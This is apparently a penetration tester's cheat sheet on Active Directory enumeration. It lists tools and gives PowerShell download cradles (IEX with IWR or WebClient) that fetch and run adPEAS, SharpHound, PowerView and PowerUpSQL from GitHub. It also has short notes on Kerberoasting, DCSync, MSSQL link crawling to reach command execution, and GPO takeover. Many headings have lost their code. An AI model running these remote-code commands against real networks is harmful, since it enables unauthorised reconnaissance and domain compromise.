Active Directory Enumeration
Enumeration Tools
BloodHound: https://github.com/BloodHoundAD/BloodHound
Invoke-ADEnum: https://github.com/Leo4j/Invoke-ADEnum
PowerUpSQL: https://github.com/NetSPI/PowerUpSQL
Pywerview: https://github.com/the-useless-one/pywerview
# adPEAS
IEX(IWR -usebasicparsing https://raw.githubusercontent.com/61106960/adPEAS/main/adPEAS.ps1);Invoke-adPEAS
IEX(IWR -usebasicparsing https://raw.githubusercontent.com/61106960/adPEAS/main/adPEAS-Light.ps1);Invoke-adPEAS
# BloodHound
IEX(IWR -usebasicparsing https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Collectors/SharpHound.ps1);Invoke-Bloodhound -CollectionMethod "All,GPOLocalGroup"
IEX(IWR -usebasicparsing https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Collectors/SharpHound.ps1);Invoke-Bloodhound -CollectionMethod "All,GPOLocalGroup" -Loop -Loopduration 06:00:00 -LoopInterval 00:15:00
# Invoke-ADEnum
IEX(IWR -UseBasicParsing https://raw.githubusercontent.com/Leo4j/Invoke-ADEnum/main/Invoke-ADEnum.ps1);Invoke-ADEnum
# PowerUpSQL
IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/PowerUpSQL/master/PowerUpSQL.ps1")
# PowerView
IEX(IWR -usebasicparsing https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1)Native AD Module
General Enumeration
Domain Computer Enumeration
Domain Enumeration
Domain Controller Enumeration
Domain Policy Enumeration
Domain Trust Enumeration
Forest Enumeration
Group Enumeration
Group Managed Service Accounts
Group Policy Enumeration
Find GPO's vulnerable to takeover
Organizational Units Enumeration
User Eumeration
Other
Access Control Lists
AppLocker / WDAC
AS-REP Roastable Users
AS-REP RoastingKerberoastable Users
PowerView
KerberoastingDCSync Rights
PowerView
DCSyncDelegation - Constrained
Delegation - Unconstrained
Deleted Users
If we are a member of the AD group "AD Recycle Bin" we can view deleted user objects in PowerShell.
LAPS Enumeration
LAPS Delegation
The following can be used to identify what objects have the ability to read the LAPS passwords for identified systems in the domain.
Machine Account Quota
MSSQL Enumeration
PowerUpSQL
SQL Commands
MSSQL - PowerupSQL exploit example
Search for accessible instances in current domain
Run the Get-SQLServerLinkCrawl on an accessible instance.
From the results above the server mssql-master-srv is the enterprise level MSSSQL server running with "sa" privileges. The path field shows in order how this is accessible starting with mssql-srv. We can check for command execution specifying the first accessible instance in the path which, in this case is mssql-srv.
With confirmed command execution under the "sa" account on the mssql-master-srv we can then connect remotely by executing a PowerShell download cradle
Shares and Files Enumeration
PowerView (Shares)
PowerView (Files)
Snaffler
SPN Enumeration
User Hunting
PowerView
Administrative User Identification
Local System Enumeration
Windows allows any basic authenticated domain user to enumerate the members of a local group on a remote machine.
PowerView
WinNT Service
Domain Group Enumeration
AdminCount = 1
This can produce false positives as the AdminCount value is not always automatically updated when an account has been disabled or removed from a Group that provides privileged permissions.
PowerShell
PowerView
AD Groups with Local Admin Rights
Often times in domain environments domain user accounts are given member to a workstations local group 'Administrators'.
PowerView
Virtual Admins
Virtual Admins usually have full access to the virtualization platform identifying and owning these accounts can often give total control over to an attacker.
PowerView
Systems with Admin Rights
Finding computer accounts with a $ sign at the end of the hostname in an admin group we can then compromise the system and obtain SYSTEM privileges. The SYSTEM account on the compromised computer would then have AD admin privileges.
PowerView
Tools
Bloodhound
Ingestors
Custom Queries
Add the queries below into BloodHound for further queries.
CompassSecurity: https://github.com/CompassSecurity/BloodHoundQueries
Seajaysec: https://gist.github.com/seajaysec
Replace the customqueries.json with one of the above files to update the custom queries within Bloodhound. Remember to restart Bloodhound after changing the JSON file.
Locate custom queries file
Note: Keep in mind that Bloodhound captures a 'snapshot' of the current state of Active Directory at the time of capture and as such results may change when captured again in the future.
Additional Notes
If Constrained Language mode is enabled on the target Domain Controller, Powerview will be heavily restricted for Domain enumeration. However, the AD PowerShell module will not be limited and allow Domain enumeration to continue.
Lab Reviews:
Last updated